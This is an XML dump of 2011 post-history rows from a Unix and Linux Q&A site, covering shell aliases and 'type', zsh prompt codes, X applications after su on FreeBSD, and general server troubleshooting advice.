  <row Id="25328" PostHistoryTypeId="5" PostId="10525" RevisionGUID="4be76ac7-006e-44dd-a3f6-81de683bd9de" CreationDate="2011-04-02T20:39:10.647" UserId="502" Comment="Specifying Zsh" Text="Like most users, I have a bunch of aliases set up to give a default set of flags for frequently used programs. For instance,&#xD;&#xA;&#xD;&#xA;    alias vim='vim -X'&#xD;&#xA;    alias grep='grep -E'&#xD;&#xA;    alias ls='ls -G'&#xD;&#xA;&#xD;&#xA;The problem is that if I want to use `which` to see where my `vim`/`grep`/`ls`/etc is coming from, the alias gets in the way:&#xD;&#xA;&#xD;&#xA;    $ which vim&#xD;&#xA;    vim: aliased to vim -X&#xD;&#xA;&#xD;&#xA;This is useful output, but not what I'm looking for in this case; I know `vim` is aliased to `vim -X` but I want to know where *that* `vim` is coming from.&#xD;&#xA;&#xD;&#xA;Short of temporarily un-defining the alias just so I can use `which ` on it, is there an easy way to have `which` 'unwrap' the alias and run itself on that?&#xD;&#xA;&#xD;&#xA;**Edit:** It seems that `which` is a shell-builtin with different behaviors across different shells. In Bash, SiegeX's suggestion of the `--skip-alias` flag works; however, I'm on Zsh. Does something similar exist there?" />
  <row Id="25329" PostHistoryTypeId="6" PostId="10525" RevisionGUID="4be76ac7-006e-44dd-a3f6-81de683bd9de" CreationDate="2011-04-02T20:39:10.647" UserId="502" Comment="Specifying Zsh" Text="éshellàézshàéaliasà" />
  <row Id="25330" PostHistoryTypeId="2" PostId="10528" RevisionGUID="d8e44cbb-ad39-467d-ab85-69d98e88ea42" CreationDate="2011-04-02T20:41:18.973" UserId="5666" Text="    awk '{print $NF,$RS}' file.txt | sort -nr | cut -f2- -d' '" />
  <row Id="25331" PostHistoryTypeId="2" PostId="10529" RevisionGUID="7e8c435d-4767-48e9-8f09-899d583d8592" CreationDate="2011-04-02T20:47:18.280" UserId="5325" Text="`which` is actually a bad way to do things like this, as it makes guesses about your environment based on `$SHELL` and the startup files (it thinks) that shell uses; not only does it sometimes guess wrong, but you can't generally tell it to behave differently.  (`which` on my Ubuntu 10.10 doesn't understand `--skip-alias` as mentioned by @SiegeX, for example.)  `type` uses the current shell environment instead of poking at your config files, and can be told to ignore parts of that environment, so it shows you what will actually happen instead of what would happen in a reconstruction of your default shell.&#xD;&#xA;&#xD;&#xA;In this case, `type -P` will bypass any aliases or functions:&#xD;&#xA;&#xD;&#xA;    $ type -P vim&#xD;&#xA;    /usr/bin/vim&#xD;&#xA;&#xD;&#xA;You can also ask it to peel off *all* the layers, one at a time, and show you what it would find:&#xD;&#xA;&#xD;&#xA;    $ type -a vim&#xD;&#xA;    vim is aliased to `vim -X'&#xD;&#xA;    vim is /usr/bin/vim" />
  <row Id="25332" PostHistoryTypeId="5" PostId="10529" RevisionGUID="3b47f548-fdf5-446c-8d78-16a10fe08155" CreationDate="2011-04-02T21:06:50.893" UserId="5325" Comment="explain why which usually fails and where type is valid" Text="`which` is actually a bad way to do things like this, as it makes guesses about your environment based on `$SHELL` and the startup files (it thinks) that shell uses; not only does it sometimes guess wrong, but you can't generally tell it to behave differently.  (`which` on my Ubuntu 10.10 doesn't understand `--skip-alias` as mentioned by @SiegeX, for example.)  `type` uses the current shell environment instead of poking at your config files, and can be told to ignore parts of that environment, so it shows you what will actually happen instead of what would happen in a reconstruction of your default shell.&#xD;&#xA;&#xD;&#xA;In this case, `type -P` will bypass any aliases or functions:&#xD;&#xA;&#xD;&#xA;    $ type -P vim&#xD;&#xA;    /usr/bin/vim&#xD;&#xA;&#xD;&#xA;You can also ask it to peel off *all* the layers, one at a time, and show you what it would find:&#xD;&#xA;&#xD;&#xA;    $ type -a vim&#xD;&#xA;    vim is aliased to `vim -X'&#xD;&#xA;    vim is /usr/bin/vim&#xD;&#xA;&#xD;&#xA;(Expanding on this from the comments:)&#xD;&#xA;&#xD;&#xA;The problem with `which` is that it's usually an external program instead of a shell built-in, which means it can't see your aliases or functions and has to try to reconstruct them from the shell's startup/config files.  (If it's a shell built-in, as it is in `zsh` but apparently not `bash`, it is more likely to use the shell's environment and do the right thing.)&#xD;&#xA;&#xD;&#xA;`type` is a POSIX-compliant command which is required to behave as if it were a built-in (that is, it must use the environment of the shell it's invoked from including local aliases and functions), so it usually *is* a built-in.&#xD;&#xA;&#xD;&#xA;It isn't generally found in `csh`/`tcsh`, although in most modern versions of those `which` is a shell builtin and does the right thing; sometimes the built-in is `what` instead, and sometimes there's no good way to see the current shell's environment from `csh`/`tcsh` at all." />
  <row Id="25333" PostHistoryTypeId="2" PostId="10530" RevisionGUID="fcc4eccb-4c60-46fa-9375-67937ecce720" CreationDate="2011-04-02T21:08:38.353" UserId="6246" Text="The distro itself has very little to do with this, it depends on what programs you have installed, and they all have fairly low graphics requirements. First off, I'd recommend just trying a distro you're interested (Fedora, Debian, Ubuntu or OpenSUSE seem to be good choices for beginners), and see if it's usable with the default settings. 64 MB of memory on your video card is probably fine.&#xD;&#xA;&#xD;&#xA;I believe none of those distros turn desktop effects on by default, but if things are running slow you can check. In Ubuntu, go to Go to the System menu, choose Prefences, then Desktop Effects. If &quot;Enabled Desktop Effects&quot; is checked, uncheck it[1]. If you're using KDE, go to KDE Control Center -&gt; Desktop -&gt; Window Behavior -&gt; Translucency and disable translucency and shadows[2].&#xD;&#xA;&#xD;&#xA;If things are still running too slow, you might want to try a simpler desktop environment, like XFCE. To do that, you would just install the package via your distro's package manager, and then choose it on the login screen.&#xD;&#xA;&#xD;&#xA;[1] https://help.ubuntu.com/community/CompositeManager/CompizFusion&#xD;&#xA;&#xD;&#xA;[2] http://ubuntuforums.org/showthread.php?t=33948" />
  <row Id="25334" PostHistoryTypeId="25" PostId="10525" RevisionGUID="d75e3a60-6f18-4f10-b0dd-c546cc1cd9cd" CreationDate="2011-04-02T21:08:53.650" Comment="http://twitter.com/#!/StackUnix/status/54289221350998016" />
  <row Id="25335" PostHistoryTypeId="2" PostId="10531" RevisionGUID="043765a1-3dc0-4297-bb26-82aa67b8dba0" CreationDate="2011-04-02T22:11:45.023" UserId="6249" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I've been trying to learn *nix and I think I'm doing pretty good as far as basic commands, and I think I understand a lot of the &quot;monitoring&quot; type commands etc... in short, I think I'm doing okay with syntax type stuff.&#xD;&#xA;&#xD;&#xA;And doing stuff like setup of xyz is more or less straight forward...but I really want to start learning how to do is troubleshoot/diagnose problems and be able to fix them. For example, if I go to my website and it's not loading...what would be the first thing I should check for? That sort of thing.&#xD;&#xA;&#xD;&#xA;So I figured there's probably some good books out there about what to do when things go wrong, what to start looking for, how to identify what is going wrong and how to fix it etc...so I was looking for some recommendations on where I should turn to for that?&#xD;&#xA;&#xD;&#xA;Ideally I would like book recommendations because I'm old fashioned and like being able to have something in my hands but also for bathroom reading situations :)&#xD;&#xA;&#xD;&#xA;Any good books out there? I did do a little bit of researching before posting here...but after a while of trying to look at various books, it became clear to me that I am currently too much of a noob to figure out whether the book I'm getting is really going to give me what I&quot;m after...seems like most books I've looked at so far focus on install, backup and general syntax...but that stuff is easy and straight forward to digest...I'm looking for the stuff that will help me become a better detective and *nix problem solver...&#xD;&#xA;&#xD;&#xA;p.s. - I'm currently using centOS 5.3 but from what I can tell, a lot of things are generic and can work from *nix system to *nix system so I don't think I necessarily need it to be centOS specific...&#xD;&#xA;" />
  <row Id="25336" PostHistoryTypeId="1" PostId="10531" RevisionGUID="043765a1-3dc0-4297-bb26-82aa67b8dba0" CreationDate="2011-04-02T22:11:45.023" UserId="6249" Text="good unix troubleshooting book" />
  <row Id="25337" PostHistoryTypeId="3" PostId="10531" RevisionGUID="043765a1-3dc0-4297-bb26-82aa67b8dba0" CreationDate="2011-04-02T22:11:45.023" UserId="6249" Text="écentosàéunixàétroubleshootingà" />
  <row Id="25338" PostHistoryTypeId="5" PostId="10351" RevisionGUID="1261befe-9a37-4540-9b79-f9f3595d3478" CreationDate="2011-04-02T22:11:49.250" UserId="502" Comment="Forgot to remove signature" Text="Try the following commands:&#xD;&#xA;&#xD;&#xA;Display list of last reboot entries:&#xD;&#xA;`last reboot | less`&#xD;&#xA;&#xD;&#xA;Display list of last shutdown entries:&#xD;&#xA;`last -x | less`&#xD;&#xA;&#xD;&#xA;or more precisely:&#xD;&#xA;`last -x | grep shutdown | less`&#xD;&#xA;&#xD;&#xA;You won't know who did it however. If you want to know who did it, you will need to add a bit of code which means you'll know next time.&#xD;&#xA;&#xD;&#xA;I've found this resource online. It might be useful to you:&#xD;&#xA;&#xD;&#xA;[How to find out who or what halted my system][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://aplawrence.com/SCOFAQ/FAQ_scotec1haltcatch.html" />
  <row Id="25339" PostHistoryTypeId="24" PostId="10351" RevisionGUID="1261befe-9a37-4540-9b79-f9f3595d3478" CreationDate="2011-04-02T22:11:49.250" Comment="Proposed by 502 approved by 73 edit id of 246" />
  <row Id="25340" PostHistoryTypeId="2" PostId="10532" RevisionGUID="c3da3ce4-a57e-483d-a753-1b0b1fcc8b86" CreationDate="2011-04-02T22:17:24.713" UserId="3169" Text="In `bash`:&#xD;&#xA;&#xD;&#xA;    type -P vim&#xD;&#xA;&#xD;&#xA;In `zsh`:&#xD;&#xA;&#xD;&#xA;    type -p vim&#xD;&#xA;    &#xD;&#xA;In both:&#xD;&#xA;&#xD;&#xA;    /usr/bin/which vim&#xD;&#xA;&#xD;&#xA;Or:&#xD;&#xA;&#xD;&#xA;    ( unalias vim; type vim )" />
  <row Id="25341" PostHistoryTypeId="2" PostId="10533" RevisionGUID="76092c21-e855-44a7-86f7-4decb07ab0c9" CreationDate="2011-04-02T22:39:07.743" UserId="3169" Text="`%F` means set the foreground color if it's part of a `zsh` `print -P ...` command&#xD;&#xA;&#xD;&#xA;`%S` means set the standout attribute.&#xD;&#xA;&#xD;&#xA;http://zsh.sourceforge.net/Doc/Release/Prompt-Expansion.html#SEC52" />
  <row Id="25342" PostHistoryTypeId="2" PostId="10534" RevisionGUID="654f9e5b-e866-43fc-a9f8-09e6f2e92d78" CreationDate="2011-04-02T22:46:13.293" UserId="6250" Text="Using FreeBSD 8.2.  I'm accessing my machine over vnc using tightvnc.  I log in as my normal user.  This is okay.  I can open X applications and they display fine.  Then I su to root and they won't open.  I used to be able to do xhost +localhost but this doesn't work anymore.  I read online about copying .Xauthority, so now in my .cshrc for root I do this:&#xD;&#xA;&#xD;&#xA;    if ($user != &quot;root&quot;) then&#xD;&#xA;      setenv XAUTHORITY /home/$user/.Xauthoriy&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;This gets me further but now I get an error:&#xD;&#xA;&#xD;&#xA;    GLib-GIO:ERROR:gdbusconnection.c:2270:initable_init: assertion failed ..&#xD;&#xA;&#xD;&#xA;I searched for this online and someone said to prefix the command with dbus-launch first:&#xD;&#xA;&#xD;&#xA;    dbus-launch emacs&#xD;&#xA;&#xD;&#xA;I tried this and it works but it seems kludgy.  How do I get this working so I can launch X based programs after su'ing to root seamlessly (like I could with FreeBSD 6.x)?" />
  <row Id="25343" PostHistoryTypeId="1" PostId="10534" RevisionGUID="654f9e5b-e866-43fc-a9f8-09e6f2e92d78" CreationDate="2011-04-02T22:46:13.293" UserId="6250" Text="FreeBSD: Opening X applications after su to root?" />
  <row Id="25344" PostHistoryTypeId="3" PostId="10534" RevisionGUID="654f9e5b-e866-43fc-a9f8-09e6f2e92d78" CreationDate="2011-04-02T22:46:13.293" UserId="6250" Text="éxorgàéfreebsdàéx11àésuàévncà" />
  <row Id="25345" PostHistoryTypeId="5" PostId="10533" RevisionGUID="2c4ba208-35a4-4f80-ad18-26ccf621878e" CreationDate="2011-04-02T22:52:13.387" UserId="3169" Comment="added 375 characters in body; added 199 characters in body" Text="In one of your comments, you mentioned using `zsh` with a `preexec` function that calls `print -P $2`.&#xD;&#xA;&#xD;&#xA;In `zsh`, `print -P` accepts these format characters:&#xD;&#xA;&#xD;&#xA;  * `%F` means set the foreground color if it's part of a `zsh` `print -P ...` command&#xD;&#xA;  * `%S` means set the standout attribute.&#xD;&#xA;&#xD;&#xA;See [zsh prompt expansion][1] for the full list.&#xD;&#xA;&#xD;&#xA;So it's probably best to remove the `-P` flag from your call to `print` in `preexec`.&#xD;&#xA;&#xD;&#xA;One way to get the same effect:&#xD;&#xA;&#xD;&#xA;    settitle() {&#xD;&#xA;        printf &quot;%b&quot; &quot;\033]0;$1\007&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    preexec() {&#xD;&#xA;        local dir=&quot;$(print -Pn &quot;%~&quot;)&quot;&#xD;&#xA;        settitle &quot;$dir:$2&quot; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://zsh.sourceforge.net/Doc/Release/Prompt-Expansion.html#SEC52&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/ANSI_escape_code#CSI_codes" />
  <row Id="25346" PostHistoryTypeId="5" PostId="10533" RevisionGUID="2a8b904b-4871-487f-84f6-05898d28a8ec" CreationDate="2011-04-02T22:58:32.493" UserId="3169" Comment="added 19 characters in body; deleted 48 characters in body" Text="In one of your comments, you mentioned using `zsh` with a `preexec` function that calls `print -P $2`.&#xD;&#xA;&#xD;&#xA;In `zsh`, `print -P` accepts these format characters:&#xD;&#xA;&#xD;&#xA;  * `%F` means set the foreground color&#xD;&#xA;  * `%S` means set the standout attribute&#xD;&#xA;&#xD;&#xA;See [zsh prompt expansion][1] for the full list.&#xD;&#xA;&#xD;&#xA;So it's probably best to remove the `-P` flag from your call to `print` in `preexec`.&#xD;&#xA;&#xD;&#xA;One way to get the same effect:&#xD;&#xA;&#xD;&#xA;    settitle() {&#xD;&#xA;        printf &quot;%b&quot; &quot;\033]0;$1\007&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    tildedir() {&#xD;&#xA;        print -Pn &quot;%~&quot; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    preexec() {&#xD;&#xA;        settitle &quot;$(tildedir):$2&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://zsh.sourceforge.net/Doc/Release/Prompt-Expansion.html#SEC52&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/ANSI_escape_code#CSI_codes" />
  <row Id="25347" PostHistoryTypeId="5" PostId="10533" RevisionGUID="04730cbd-858e-472a-a415-d7a49565a705" CreationDate="2011-04-02T23:04:14.097" UserId="3169" Comment="added 10 characters in body" Text="In one of your comments, you mentioned using `zsh` with a `preexec` function that calls `print -P $2`.&#xD;&#xA;&#xD;&#xA;In `zsh`, `print -P` accepts these format characters:&#xD;&#xA;&#xD;&#xA;  * `%F` means set the foreground color&#xD;&#xA;  * `%S` means set the standout attribute&#xD;&#xA;&#xD;&#xA;See [zsh prompt expansion][1] for the full list.&#xD;&#xA;&#xD;&#xA;So it's probably best to remove the `-P` flag from your call to `print` in `preexec`.&#xD;&#xA;&#xD;&#xA;One way to get the same effect:&#xD;&#xA;&#xD;&#xA;    settitle() {&#xD;&#xA;        printf &quot;%b%s%b&quot; &quot;\033]0;&quot; &quot;$1&quot; &quot;\007&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    tildedir() {&#xD;&#xA;        print -Pn &quot;%~&quot; &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    preexec() {&#xD;&#xA;        settitle &quot;$(tildedir):$2&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://zsh.sourceforge.net/Doc/Release/Prompt-Expansion.html#SEC52&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/ANSI_escape_code#CSI_codes" />
  <row Id="25348" PostHistoryTypeId="6" PostId="10526" RevisionGUID="22a9586a-e90c-4e00-8080-2d9a2321db62" CreationDate="2011-04-02T23:13:02.190" UserId="3169" Comment="edited tags" Text="ézshàérxvtà" />
  <row Id="25349" PostHistoryTypeId="25" PostId="10526" RevisionGUID="e3e80108-6ff4-43c9-a78c-88a1c989893b" CreationDate="2011-04-03T00:08:53.540" Comment="http://twitter.com/#!/StackUnix/status/54334519079219201" />
  <row Id="25350" PostHistoryTypeId="2" PostId="10535" RevisionGUID="7fa52fc2-6f24-4e1b-b5da-69e3d2e8f127" CreationDate="2011-04-03T00:10:02.850" UserId="1535" Text="I usually set up a `screen` session for each project.  Vim is in window 0, and I use window 1 for a shell session.  If I'm coding in a language that has a decent REPL I usually run that in window 2.  Of course, you don't need `screen` to do this; you could do it with different terminal windows or with tabs in a multitab terminal.  I do find `screen` to be more stable than other alternatives: if your terminal app crashes, you can just start another terminal and reconnect to your still-running `screen` session.  `screen` is also very quick to navigate in once you learn it (much like vim itself).&#xD;&#xA;&#xD;&#xA;I mostly end up using the shell session for complicated version control activities like rebasing or merging: simpler things can be done from vim's command line (e.g. `:!git commit % -m 'Added info about `screen`.'`) or by using the [fugitive](https://github.com/tpope/vim-fugitive) addon.  I find fugitive's `:Gmove` (rename the current buffer both in vim and in the git index) and `:Gdiff` (invoke vimdiff on the current buffer with a previous point in its history) particularly useful.  You can also do things like building up a commit message in a scratch buffer, copying in text from various parts of your code, and then committing with `:%!git commit -F /dev/stdin`&#xD;&#xA;&#xD;&#xA;I'll also use the shell session for functional/integration testing if that's applicable to whatever I'm working on, for example if I'm writing a command-line utility.&#xD;&#xA;&#xD;&#xA;Vim's quickfix functionality is useful for debugging, though there seems to be a different addon required for each language you might want to work in.  They also seem to use a variety of invocation techniques, mapping to function keys or to key sequences starting with `\` or `,`, or to custom commands, or by being automatically invoked when a buffer is saved.  So far I haven't really bothered to suss this out, and just read unit test or lint results into a scratch buffer using e.g. `:r !python -m doctest whatever.py`.  Modify code, switch back to the scratch buffer, `u` to undo, then hit `:r` and the up arrow (most of the time) to get that command back.  But it may be worth your while to seek out an addon for this, depending on what language you work in.&#xD;&#xA;&#xD;&#xA;For popular compiled languages like C, java, etc., `:make` will do a build, and support for the quickfix list is well established.  So you can then do `:copen` to display the quickfix buffer.  It will show a list of errors, one per line; hitting &lt;kbd&gt;Enter&lt;/kbd&gt; on a line will jump your other window to that point in that file.&#xD;&#xA;&#xD;&#xA;If you're working with multiple projects at a time, you can do `:lmake` to arrange for a list of errors to be stored in the *location list*: this is like the quickfix list but is associated with a single window rather than being a singleton within your vim instance.  `:lopen` will open a location list for the current window." />
  <row Id="25351" PostHistoryTypeId="2" PostId="10536" RevisionGUID="abf9512b-1cc5-43d2-b89c-8b2ae57bd6b5" CreationDate="2011-04-03T01:27:06.967" UserId="663" Text="[Perceus][1] should have the functionality you're looking for. &#xD;&#xA;&#xD;&#xA;Perceus images are implemented as &quot;VNFS capsules&quot;. Unfortunately, I don't think they have a ready-made SUSE capsule, but you may be able to roll your own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.perceus.org/" />
  <row Id="25352" PostHistoryTypeId="2" PostId="10537" RevisionGUID="3973d00d-ae08-4331-b1fa-aa1e2875bf80" CreationDate="2011-04-03T02:16:15.780" UserId="6250" Text="Ok I kinda have a fix for this.  There is a nice explanation from this site https://bugs.launchpad.net/ubuntu/+source/gconf/+bug/336660 :&#xD;&#xA;&#xD;&#xA;&gt; The explanation of the problem is the&#xD;&#xA;&gt; following:&#xD;&#xA;&gt; &#xD;&#xA;&gt; When you su to root from a terminal&#xD;&#xA;&gt; where you are logged in as another&#xD;&#xA;&gt; user the new &quot;su-ed&quot; user gonna&#xD;&#xA;&gt; inherit the environment variables from&#xD;&#xA;&gt; the parent shell user.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Example: let's say that for the user&#xD;&#xA;&gt; jack the DBUS_SESSION_BUS_ADDRESS&#xD;&#xA;&gt; environment variable is set to:&#xD;&#xA;&gt; &quot;unix:abstract=/tmp/dbus-l5SiTFzmR8,guid=1af28c9d83400a896ef6268d4a7af59f&quot;&#xD;&#xA;&gt; Now if you open a terminal as jack and&#xD;&#xA;&gt; make a su to root the&#xD;&#xA;&gt; DBUS_SESSION_BUS_ADDRESS variable&#xD;&#xA;&gt; shall remain as for the user jack. And&#xD;&#xA;&gt; here is the problem, exactly this&#xD;&#xA;&gt; specific env. variable&#xD;&#xA;&gt; (DBUS_SESSION_BUS_ADDRESS) generates&#xD;&#xA;&gt; that problem. Gnome programs like&#xD;&#xA;&gt; gedit, nautilus . . . use the dbus&#xD;&#xA;&gt; protocol to communicate with gconf&#xD;&#xA;&gt; where application specific&#xD;&#xA;&gt; configurations are stored, and not&#xD;&#xA;&gt; just. A program executed as root uses&#xD;&#xA;&gt; a different D-Bus session bus address&#xD;&#xA;&gt; compared when you execute that program&#xD;&#xA;&gt; as the jack user for instance. So the&#xD;&#xA;&gt; problem is that you switch to root,&#xD;&#xA;&gt; but the DBUS_SESSION_BUS_ADDRESS&#xD;&#xA;&gt; variable still points the the jack's&#xD;&#xA;&gt; dbus session bus address.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Solution: The root user has a separate&#xD;&#xA;&gt; dbus session address too (located in&#xD;&#xA;&gt; /root/.dbus/session-bus/. . .) So to&#xD;&#xA;&gt; use the root's dbus address when you&#xD;&#xA;&gt; are in a terminal and &quot;su-ed&quot; to root&#xD;&#xA;&gt; just clear the&#xD;&#xA;&gt; DBUS_SESSION_BUS_ADDRESS variable.&#xD;&#xA;&gt; like: export&#xD;&#xA;&gt; DBUS_SESSION_BUS_ADDRESS=&quot;&quot; A program&#xD;&#xA;&gt; that needs dbus communication with&#xD;&#xA;&gt; gconf for instance, checks that&#xD;&#xA;&gt; environment variable, and if it is&#xD;&#xA;&gt; empty it reads the dbus address from&#xD;&#xA;&gt; the users ~/.dbus/session-bus/&#xD;&#xA;&gt; directory (the right place). To make&#xD;&#xA;&gt; this permanent add the following line&#xD;&#xA;&gt; to the root users .bashrc file: export&#xD;&#xA;&gt; DBUS_SESSION_BUS_ADDRESS=&quot;&quot; This means&#xD;&#xA;&gt; that every time when you su to root&#xD;&#xA;&gt; and the terminal is not a login shell&#xD;&#xA;&gt; (the case when you are logged in as&#xD;&#xA;&gt; jack and opened a terminal and&#xD;&#xA;&gt; executed su) the&#xD;&#xA;&gt; DBUS_SESSION_BUS_ADDRESS variable is&#xD;&#xA;&gt; cleared, so the applications gonna&#xD;&#xA;&gt; read the dbus address from the right&#xD;&#xA;&gt; place.&#xD;&#xA;&gt; &#xD;&#xA;&gt; by the way you do not need to start a&#xD;&#xA;&gt; new dbus session with dbus-launch.&#xD;&#xA;&gt; Even if you do so but the applications&#xD;&#xA;&gt; still read the dbus address from the&#xD;&#xA;&gt; wrong place, the problem will persist.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I unsetenv DBUS_SESSION_BUS_ADDRESS, I can now start emacs in X after su'ing.  However I still get warnings:&#xD;&#xA;&#xD;&#xA;    (emacs 1879): GLib-WARNING **: In call to g_spawn_sync()...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25353" PostHistoryTypeId="25" PostId="10524" RevisionGUID="dbc2d226-796f-47d7-937e-1d7205c7411c" CreationDate="2011-04-03T03:08:53.750" Comment="http://twitter.com/#!/StackUnix/status/54379818866839552" />
  <row Id="25354" PostHistoryTypeId="5" PostId="10364" RevisionGUID="2db73afb-b495-44af-ab16-0789c7e7d519" CreationDate="2011-04-03T03:24:48.457" UserId="1535" Comment="Removed backslash escape within syntax-quoted section." Text="The vim manual may be a better and more up-to-date than that old Ex manual.  Most likely, you will be using ex that comes with vim on most modern Linux distributions.  To get help in Vim use :help, to get help on a specific command like the Ex command ~, use `:help :~`.  All Ex commands are preceded with a : in Vim.  I think (.,.) is simply used to denote a range may be specified as in 2,8 to mean lines 2 through 8 or 1,$ ($ represents last line) for every line in a file.  In Vim, typing `:1,$~` means run the Ex command ~ on every line in the file.&#xD;&#xA;&#xD;&#xA;1. Vim say `:~` is &quot;Repeat last substitute with same substitute string but with last used search pattern.&quot;  A substitution is normally written as `:s/pattern/string/`  This looks for a pattern on a line and replaces it with string.  `:~` repeats last substitute command, but uses the most recent search for pattern.&#xD;&#xA;&#xD;&#xA;2. Try this pattern: `/\&lt;h.*s\&gt;`&#xD;&#xA;&#xD;&#xA;/ is used to start a search in Ex/Vim, \&amp;lt; means match start of word, h matches h, .\* where . matches any single character and \* repeats that zero or more times so .\* means match zero or more characters.  s matches s, \\&gt; matches end of word.&#xD;&#xA;&#xD;&#xA;3. Try this pattern `/words\?$`&#xD;&#xA;&#xD;&#xA;$ means end of line when used in a pattern match, and \\? means previous character is optional.  This will match word or words at the end of a line." />
  <row Id="25355" PostHistoryTypeId="24" PostId="10364" RevisionGUID="2db73afb-b495-44af-ab16-0789c7e7d519" CreationDate="2011-04-03T03:24:48.457" Comment="Proposed by 1535 approved by 73 edit id of 247" />
  <row Id="25356" PostHistoryTypeId="2" PostId="10538" RevisionGUID="8cde98b2-56f5-4a32-ba35-b05240e48bb0" CreationDate="2011-04-03T03:56:13.463" UserId="2914" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I want to block https sites using Linux squid server. How can I do this ?? Plz help me ASAP.&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Jack Saron" />
  <row Id="25357" PostHistoryTypeId="1" PostId="10538" RevisionGUID="8cde98b2-56f5-4a32-ba35-b05240e48bb0" CreationDate="2011-04-03T03:56:13.463" UserId="2914" Text="How to block https site using RHEL squid??" />
  <row Id="25358" PostHistoryTypeId="3" PostId="10538" RevisionGUID="8cde98b2-56f5-4a32-ba35-b05240e48bb0" CreationDate="2011-04-03T03:56:13.463" UserId="2914" Text="érhelà" />
  <row Id="25359" PostHistoryTypeId="2" PostId="10539" RevisionGUID="162d518c-eb1f-47d5-b1da-725d857ca968" CreationDate="2011-04-03T04:15:55.990" UserId="3852" Text="&#xD;&#xA;There's no book on this subject that I know of, you get experience troubleshooting by doing it. You become better at troubleshooting as you understand how all the different components of a system work together.&#xD;&#xA;&#xD;&#xA;In the example you gave of a website not loading, I've seen the following following cause that to happen (list is not exclusive):&#xD;&#xA;&#xD;&#xA;* DNS not resolving&#xD;&#xA;* domain expired&#xD;&#xA;* partition ran out of space&#xD;&#xA;* apache is trying to write to a log file that doesn't exist or doesn't have permissions&#xD;&#xA;* server ran out of RAM&#xD;&#xA;* apache isn't running&#xD;&#xA;* memcached is down&#xD;&#xA;* mysql is down&#xD;&#xA;* mysql is up, but overloaded&#xD;&#xA;* apache is hitting MaxClients&#xD;&#xA;* someone changed something in the code and it broke&#xD;&#xA;* someone upgraded their CMS and it broke&#xD;&#xA;* permissions wrong on files&#xD;&#xA;* .htaccess got changed&#xD;&#xA;* some process is hogging all of the server's resources&#xD;&#xA;* some package on the system the website needs was changed, upgraded, or removed&#xD;&#xA;&#xD;&#xA;In the above, you can check the DNS and domain expiration problems with dig and whois. When you ssh to the server, does it seem like its slow and lagging? Something is probably using the systems resources.&#xD;&#xA;&#xD;&#xA;Is apache running? You can see if its hitting MaxClients with `pgrep httpd | wc -l` but why is it hitting MaxClients now? Is MySQL running? How many queries are running? Are they taking a long time?&#xD;&#xA;&#xD;&#xA;Did someone change the files? cd to the websites home and run `find . -mtime -2` to see what has changed in the past two days. Look in your site's error log for problems. Look in /var/log/messages for problems. &#xD;&#xA;&#xD;&#xA;As you can see, there's a lot of components that need to work together for a website to load and you need to understand how they interact and how to know eliminate each of them as a possible culprit to your problem. Knowing how to do this comes through experience. You might end up chasing a red herring when solving a problem but that is what gives you experience for the next problem. While the red herring wasn't the cause of your problem, you at least understand that component of the system now.&#xD;&#xA;" />
  <row Id="25360" PostHistoryTypeId="2" PostId="10540" RevisionGUID="477c1f7a-7a03-4e42-9a98-92698f1280db" CreationDate="2011-04-03T05:47:04.787" UserId="1942" Text="I have downloaded the screencast on this page, [ http://jaderholm.com/screencasts/org-mode/][1].&#xD;&#xA;&#xD;&#xA;I can watch in firefox but the viewer has limited controls. So I would rather watch it on   a regular video application. The thing is I've tried everything and I get sound in all and video in none. &quot;mediainfo&quot; says it is using the &quot;Shockwave&quot; codec. It is obvious the video was made with Camstudio. I seem to remember that Camstudio uses it's own proprietary codec for recording. &#xD;&#xA;&#xD;&#xA;Is there an actual Shockwave codec? How can I view a video encoded with it on Linux?&#xD;&#xA;&#xD;&#xA;How an I view a video using the Camtasia codec on Linux.&#xD;&#xA;&#xD;&#xA;------&#xD;&#xA;PS.&#xD;&#xA;Technically I am not supposed to link directly to that video since the URL is subject to change. I am supposed to link to:&#xD;&#xA;[http://jaderholm.com/screencasts.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jaderholm.com/screencasts/org-mode/&#xD;&#xA;  [2]: http://jaderholm.com/screencasts.html " />
  <row Id="25361" PostHistoryTypeId="1" PostId="10540" RevisionGUID="477c1f7a-7a03-4e42-9a98-92698f1280db" CreationDate="2011-04-03T05:47:04.787" UserId="1942" Text="Viewing a screencast encoded with camtasia." />
  <row Id="25362" PostHistoryTypeId="3" PostId="10540" RevisionGUID="477c1f7a-7a03-4e42-9a98-92698f1280db" CreationDate="2011-04-03T05:47:04.787" UserId="1942" Text="évideoàécamtasioà" />
  <row Id="25363" PostHistoryTypeId="25" PostId="10510" RevisionGUID="e5065754-3c6c-4fa7-b24f-bb5771dea305" CreationDate="2011-04-03T06:08:53.730" Comment="http://twitter.com/#!/StackUnix/status/54425116808974337" />
  <row Id="25365" PostHistoryTypeId="25" PostId="10540" RevisionGUID="5d7d5f9b-8aa7-409f-bb53-df7b11ba8608" CreationDate="2011-04-03T09:08:54.420" Comment="http://twitter.com/#!/StackUnix/status/54470416747610112" />
